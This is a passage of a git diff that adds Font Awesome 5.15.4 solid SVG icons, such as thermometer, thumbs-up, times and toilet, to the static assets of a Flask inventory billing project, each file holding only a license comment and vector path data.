https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M206.86 245.15c-35.88 10.45-59.95 41.2-57.53 74.1 11.4-12.72 28.81-23.7 49.9-30.92l7.63-43.18zM95.81 295L64.08 115.49c-.29-1.62.28-2.62.24-2.65 57.76-32.06 123.12-49.01 189.01-49.01 1.61 0 3.23.17 4.85.19 13.95-13.47 31.73-22.83 51.59-26 18.89-3.02 38.05-4.55 57.18-5.32-9.99-13.95-24.48-24.23-41.77-27C301.27 1.89 277.24 0 253.32 0 176.66 0 101.02 19.42 33.2 57.06 9.03 70.48-3.92 98.48 1.05 126.58l31.73 179.51c14.23 80.52 136.33 142.08 204.45 142.08 3.59 0 6.75-.46 10.01-.8-13.52-17.08-28.94-40.48-39.5-67.58-47.61-12.98-106.06-51.62-111.93-84.79zm97.55-137.46c-.73-4.12-2.23-7.87-4.07-11.4-8.25 8.91-20.67 15.75-35.32 18.32-14.65 2.58-28.67.4-39.48-5.17-.52 3.94-.64 7.98.09 12.1 3.84 21.7 24.58 36.19 46.34 32.37 21.75-3.82 36.28-24.52 32.44-46.22zM606.8 120.9c-88.98-49.38-191.43-67.41-291.98-51.35-27.31 4.36-49.08 26.26-54.04 54.36l-31.73 179.51c-15.39 87.05 95.28 196.27 158.31 207.35 63.03 11.09 204.47-53.79 219.86-140.84l31.73-179.51c4.97-28.11-7.98-56.11-32.15-69.52zm-273.24 96.8c3.84-21.7 24.58-36.19 46.34-32.36 21.76 3.83 36.28 24.52 32.45 46.22-.73 4.12-2.23 7.87-4.07 11.4-8.25-8.91-20.67-15.75-35.32-18.32-14.65-2.58-28.67-.4-39.48 5.17-.53-3.95-.65-7.99.08-12.11zm70.47 198.76c-55.68-9.79-93.52-59.27-89.04-112.9 20.6 25.54 56.21 46.17 99.49 53.78 43.28 7.61 83.82.37 111.93-16.6-14.18 51.94-66.71 85.51-122.38 75.72zm130.3-151.34c-8.25-8.91-20.68-15.75-35.33-18.32-14.65-2.58-28.67-.4-39.48 5.17-.52-3.94-.64-7.98.09-12.1 3.84-21.7 24.58-36.19 46.34-32.37 21.75 3.83 36.28 24.52 32.45 46.22-.73 4.13-2.23 7.88-4.07 11.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-empty.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-empty.svg new file mode 100644 index 00000000..38a81e3b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-empty.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-35.346 28.654-64 64-64s64 28.654 64 64zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-full.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-full.svg new file mode 100644 index 00000000..eacf5a98 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-full.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 96c0-53.019-42.981-96-96-96S32 42.981 32 96v203.347C12.225 321.756.166 351.136.002 383.333c-.359 70.303 56.787 128.176 127.089 128.664.299.002.61.003.909.003 70.698 0 128-57.304 128-128 0-32.459-12.088-62.09-32-84.653V96zm-96 368l-.576-.002c-43.86-.304-79.647-36.544-79.423-80.42.173-33.98 19.266-51.652 31.999-66.08V96c0-26.467 21.533-48 48-48s48 21.533 48 48v221.498c12.63 14.312 32 32.164 32 66.502 0 44.112-35.888 80-80 80zm64-80c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V96c0-17.673 14.327-32 32-32s32 14.327 32 32v232.583c19.124 11.068 32 31.732 32 55.417z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-half.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-half.svg new file mode 100644 index 00000000..bb26387b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-half.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V224c0-17.673 14.327-32 32-32s32 14.327 32 32v104.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-quarter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-quarter.svg new file mode 100644 index 00000000..3282cfc4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-quarter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V288c0-17.673 14.327-32 32-32s32 14.327 32 32v40.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-three-quarters.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-three-quarters.svg new file mode 100644 index 00000000..9e63ea51 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer-three-quarters.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M192 384c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64 0-23.685 12.876-44.349 32-55.417V160c0-17.673 14.327-32 32-32s32 14.327 32 32v168.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer.svg new file mode 100644 index 00000000..0bc30e56 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thermometer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M476.8 20.4c-37.5-30.7-95.5-26.3-131.9 10.2l-45.7 46 50.5 50.5c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.4-50.5-45.1 45.4 50.3 50.4c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L209 167.4l-45.1 45.4L214 263c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.1-50.2L96 281.1V382L7 471c-9.4 9.4-9.4 24.6 0 33.9 9.4 9.4 24.6 9.4 33.9 0l89-89h99.9L484 162.6c34.9-34.9 42.2-101.5-7.2-142.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thumbs-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thumbs-down.svg new file mode 100644 index 00000000..6c1302b3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thumbs-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 56v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56zm40 200c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24zm272 256c-20.183 0-29.485-39.293-33.931-57.795-5.206-21.666-10.589-44.07-25.393-58.902-32.469-32.524-49.503-73.967-89.117-113.111a11.98 11.98 0 0 1-3.558-8.521V59.901c0-6.541 5.243-11.878 11.783-11.998 15.831-.29 36.694-9.079 52.651-16.178C256.189 17.598 295.709.017 343.995 0h2.844c42.777 0 93.363.413 113.774 29.737 8.392 12.057 10.446 27.034 6.148 44.632 16.312 17.053 25.063 48.863 16.382 74.757 17.544 23.432 19.143 56.132 9.308 79.469l.11.11c11.893 11.949 19.523 31.259 19.439 49.197-.156 30.352-26.157 58.098-59.553 58.098H350.723C358.03 364.34 384 388.132 384 430.548 384 504 336 512 312 512z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thumbs-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thumbs-up.svg new file mode 100644 index 00000000..2fd37c2c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thumbs-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M104 224H24c-13.255 0-24 10.745-24 24v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V248c0-13.255-10.745-24-24-24zM64 472c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zM384 81.452c0 42.416-25.97 66.208-33.277 94.548h101.723c33.397 0 59.397 27.746 59.553 58.098.084 17.938-7.546 37.249-19.439 49.197l-.11.11c9.836 23.337 8.237 56.037-9.308 79.469 8.681 25.895-.069 57.704-16.382 74.757 4.298 17.598 2.244 32.575-6.148 44.632C440.202 511.587 389.616 512 346.839 512l-2.845-.001c-48.287-.017-87.806-17.598-119.56-31.725-15.957-7.099-36.821-15.887-52.651-16.178-6.54-.12-11.783-5.457-11.783-11.998v-213.77c0-3.2 1.282-6.271 3.558-8.521 39.614-39.144 56.648-80.587 89.117-113.111 14.804-14.832 20.188-37.236 25.393-58.902C282.515 39.293 291.817 0 312 0c24 0 72 8 72 81.452z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thumbtack.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thumbtack.svg new file mode 100644 index 00000000..ba4a6863 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/thumbtack.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M298.028 214.267L285.793 96H328c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v48c0 13.255 10.745 24 24 24h42.207L85.972 214.267C37.465 236.82 0 277.261 0 328c0 13.255 10.745 24 24 24h136v104.007c0 1.242.289 2.467.845 3.578l24 48c2.941 5.882 11.364 5.893 14.311 0l24-48a8.008 8.008 0 0 0 .845-3.578V352h136c13.255 0 24-10.745 24-24-.001-51.183-37.983-91.42-85.973-113.733z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ticket-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ticket-alt.svg new file mode 100644 index 00000000..b9383944 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ticket-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/times-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/times-circle.svg new file mode 100644 index 00000000..3ef8c3f3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/times-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/times.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/times.svg new file mode 100644 index 00000000..3d12ed1a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/times.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 352 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tint-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tint-slash.svg new file mode 100644 index 00000000..627f7dbb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tint-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M633.82 458.1L494.97 350.78c.52-5.57 1.03-11.16 1.03-16.87 0-111.76-99.79-153.34-146.78-311.82-7.94-28.78-49.44-30.12-58.44 0-15.52 52.34-36.87 91.96-58.49 125.68L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM144 333.91C144 432.35 222.72 512 320 512c44.71 0 85.37-16.96 116.4-44.7L162.72 255.78c-11.41 23.5-18.72 48.35-18.72 78.13z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tint.svg new file mode 100644 index 00000000..87491bab --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 352 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M205.22 22.09c-7.94-28.78-49.44-30.12-58.44 0C100.01 179.85 0 222.72 0 333.91 0 432.35 78.72 512 176 512s176-79.65 176-178.09c0-111.75-99.79-153.34-146.78-311.82zM176 448c-61.75 0-112-50.25-112-112 0-8.84 7.16-16 16-16s16 7.16 16 16c0 44.11 35.89 80 80 80 8.84 0 16 7.16 16 16s-7.16 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tired.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tired.svg new file mode 100644 index 00000000..2c36a465 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tired.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 288c51.9 0 115.3 43.8 123.2 106.7 1.7 13.6-8 24.6-17.7 20.4-25.9-11.1-64.4-17.4-105.5-17.4s-79.6 6.3-105.5 17.4c-9.8 4.2-19.4-7-17.7-20.4C132.7 331.8 196.1 288 248 288z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toggle-off.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toggle-off.svg new file mode 100644 index 00000000..f9c7b14f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toggle-off.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 64H192C85.961 64 0 149.961 0 256s85.961 192 192 192h192c106.039 0 192-85.961 192-192S490.039 64 384 64zM64 256c0-70.741 57.249-128 128-128 70.741 0 128 57.249 128 128 0 70.741-57.249 128-128 128-70.741 0-128-57.249-128-128zm320 128h-48.905c65.217-72.858 65.236-183.12 0-256H384c70.741 0 128 57.249 128 128 0 70.74-57.249 128-128 128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toggle-on.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toggle-on.svg new file mode 100644 index 00000000..a6548898 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toggle-on.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 64H192C86 64 0 150 0 256s86 192 192 192h192c106 0 192-86 192-192S490 64 384 64zm0 320c-70.8 0-128-57.3-128-128 0-70.8 57.3-128 128-128 70.8 0 128 57.3 128 128 0 70.8-57.3 128-128 128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toilet-paper-slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toilet-paper-slash.svg new file mode 100644 index 00000000..62cfc218 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toilet-paper-slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M64,192V364.13c0,41.12-9.75,62.75-31.12,126.87A16,16,0,0,0,48,512H328.86a31.87,31.87,0,0,0,30.38-21.87c9.31-27.83,18-53.35,22.18-85.55l-316-244.25C64.53,170.66,64,181.19,64,192ZM633.82,458.09l-102-78.81C575.28,360.91,608,284.32,608,192,608,86,565,0,512,0s-96,86-96,192c0,42,7,80.4,18.43,112L384,265V192c0-83.62,23.63-153.5,60.5-192H160c-23.33,0-44.63,16.83-61.26,44.53L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09ZM512,256c-17.63,0-32-28.62-32-64s14.37-64,32-64,32,28.63,32,64S529.62,256,512,256Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toilet-paper.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toilet-paper.svg new file mode 100644 index 00000000..8757ffb9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toilet-paper.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 0C74.98 0 32 85.96 32 192v172.07c0 41.12-9.8 62.77-31.17 126.87C-2.62 501.3 5.09 512 16.01 512h280.92c13.77 0 26-8.81 30.36-21.88 12.83-38.48 24.71-72.4 24.71-126.05V192c0-83.6 23.67-153.52 60.44-192H128zM96 224c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zM480 0c-53.02 0-96 85.96-96 192s42.98 192 96 192 96-85.96 96-192S533.02 0 480 0zm0 256c-17.67 0-32-28.65-32-64s14.33-64 32-64 32 28.65 32 64-14.33 64-32 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toilet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toilet.svg new file mode 100644 index 00000000..3ad447b9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toilet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368 48c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v16c0 8.8 7.2 16 16 16h16v156.7C11.8 214.8 0 226.9 0 240c0 67.2 34.6 126.2 86.8 160.5l-21.4 70.2C59.1 491.2 74.5 512 96 512h192c21.5 0 36.9-20.8 30.6-41.3l-21.4-70.2C349.4 366.2 384 307.2 384 240c0-13.1-11.8-25.2-32-35.3V48h16zM80 72c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H88c-4.4 0-8-3.6-8-8V72zm112 200c-77.1 0-139.6-14.3-139.6-32s62.5-32 139.6-32 139.6 14.3 139.6 32-62.5 32-139.6 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toolbox.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toolbox.svg new file mode 100644 index 00000000..365c8699 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/toolbox.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M502.63 